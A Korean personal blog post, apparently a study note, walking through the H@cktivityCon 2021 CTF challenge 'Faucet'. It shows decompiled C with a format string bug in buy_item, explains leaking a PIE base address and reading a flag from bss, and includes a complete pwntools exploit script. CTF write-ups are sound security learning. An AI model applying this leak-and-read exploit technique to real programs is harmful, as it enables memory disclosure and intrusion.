본문 바로가기

그냥 공부

H@cktivityCon 2021 CTF - Faucet

그때 당시에 풀진 못 했지만 롸업을 봤을 때

 

포린이로써 신기했던 문제

 

faucet.zip
0.00MB

undefined8 main(void)

{
  undefined4 uVar1;
  FILE *__stream;
  
  __stream = fopen("flag.txt","r");
  if (__stream != (FILE *)0x0) {
    fgets(FLAG,0x100,__stream);
    fclose(__stream);
    puts(faucet);
    puts("*drip *drip *drip\n");
    puts("How are we going to fix this leaky faucet?");
    do {
      uVar1 = menu();
      switch(uVar1) {
      default:
        puts("Invalid choice.\n");
        break;
      case 1:
        use_hammer();
        break;
      case 2:
        use_wrench();
        break;
      case 3:
        use_bucket();
        break;
      case 4:
        call_plumber();
        break;
      case 5:
        buy_item();
      }
    } while( true );
  }
  puts("Failed to open the flag file.");
  return 1;
}

 

bss 영역에 FLAG 변수가 있다

 

void buy_item(void)

{
  int iVar1;
  size_t sVar2;
  long in_FS_OFFSET;
  char local_38 [40];
  long local_10;
  
  local_10 = *(long *)(in_FS_OFFSET + 0x28);
  printf("What item would you like to buy?: ");
  fgets(local_38,0x20,stdin);
  sVar2 = strcspn(local_38,"\n");
  local_38[sVar2] = '\0';
  iVar1 = strcmp(local_38,"hammer");
  if (iVar1 == 0) {
    hammer = 1;
  }
  else {
    iVar1 = strcmp(local_38,"wrench");
    if (iVar1 == 0) {
      wrench = 1;
    }
  }
  printf("You have bought a ");
  printf(local_38);  // fsb 취약점이 생긴다
  puts("\n");
  if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
                    /* WARNING: Subroutine does not return */
    __stack_chk_fail();
  }
  return;
}

 

아이다로 확이해봤지만 함수명이 날라가

알아보기 힘들어서 기드라로 확인했다

 

보호기법

fsb 취약점이 생기는데 PIE 가 걸려있을 때 대충 어떻게 해야하는지 알고는 있다

 

base 주소를 구하고 구한 base주소에 offset을 더해 상황에 맞게 하면 된다는 것을 알고 있다 

 

상황만 알지 fsb 에서는 직접 해본적은 없다

 

 우선 fsb 니까 오프셋을 구했다

 

 

6번째에 입력했던 값이 들어가있다

 

다음 base 주소를 구해야하는데 어떻게 구해야하는지 몰라 롸업을 봤다

 

main offset = 0x1621

롸업에서는 main 주소를 leak하고 main offset를 빼서 구했다

 

근데 신기한게 main 주소를 어떻게 구하냐 이것이다

노가다로 구하는건가....

 

main을 구하고 base 주소를 구했으면 이제 플래그를 출력할 차례

 

base + flag offset 해서 bss 에 원래 플래그 주소를 구하고

 

stack에 넣어주는데 fsb 위치 6에 넣어서 다시 부르게 되면

 

printf 가 널바이트 때문에 잘 동작하지 않는다고 했다

 

그래서 A*8 + flag주소 해서 넣었고 %7$s 로 플래그를 확인했다

 

 

from pwn import *

r = process('./faucet')
e = ELF('./faucet')

r.sendlineafter("> ", "5")
r.sendline("%21$p")

r.recvuntil("a ")
main_leak = int(r.recv(14), 16)
log.info("Main memory addr: {}".format(hex(main_leak)))

base_addr = main_leak - 0x1621
log.info("Base addr: {}".format(hex(base_addr)))

FLAG = base_addr + 0x4060
log.info("FLAG addr: {}".format(hex(FLAG)))

payload = 'A' * 8
payload += p64(FLAG)

r.sendlineafter("> ", "5")
r.sendline(payload)

payload2 = b'%7$s'

r.sendlineafter("> ", "5")
r.sendline(payload2)

r.interactive()

'그냥 공부' 카테고리의 다른 글

Heap - Fastbin dup  (0) 2021.12.08
Hack the box - Bad grades  (0) 2021.10.07
Hack the Box - format  (0) 2021.09.30
LIT CTF 2021  (0) 2021.07.20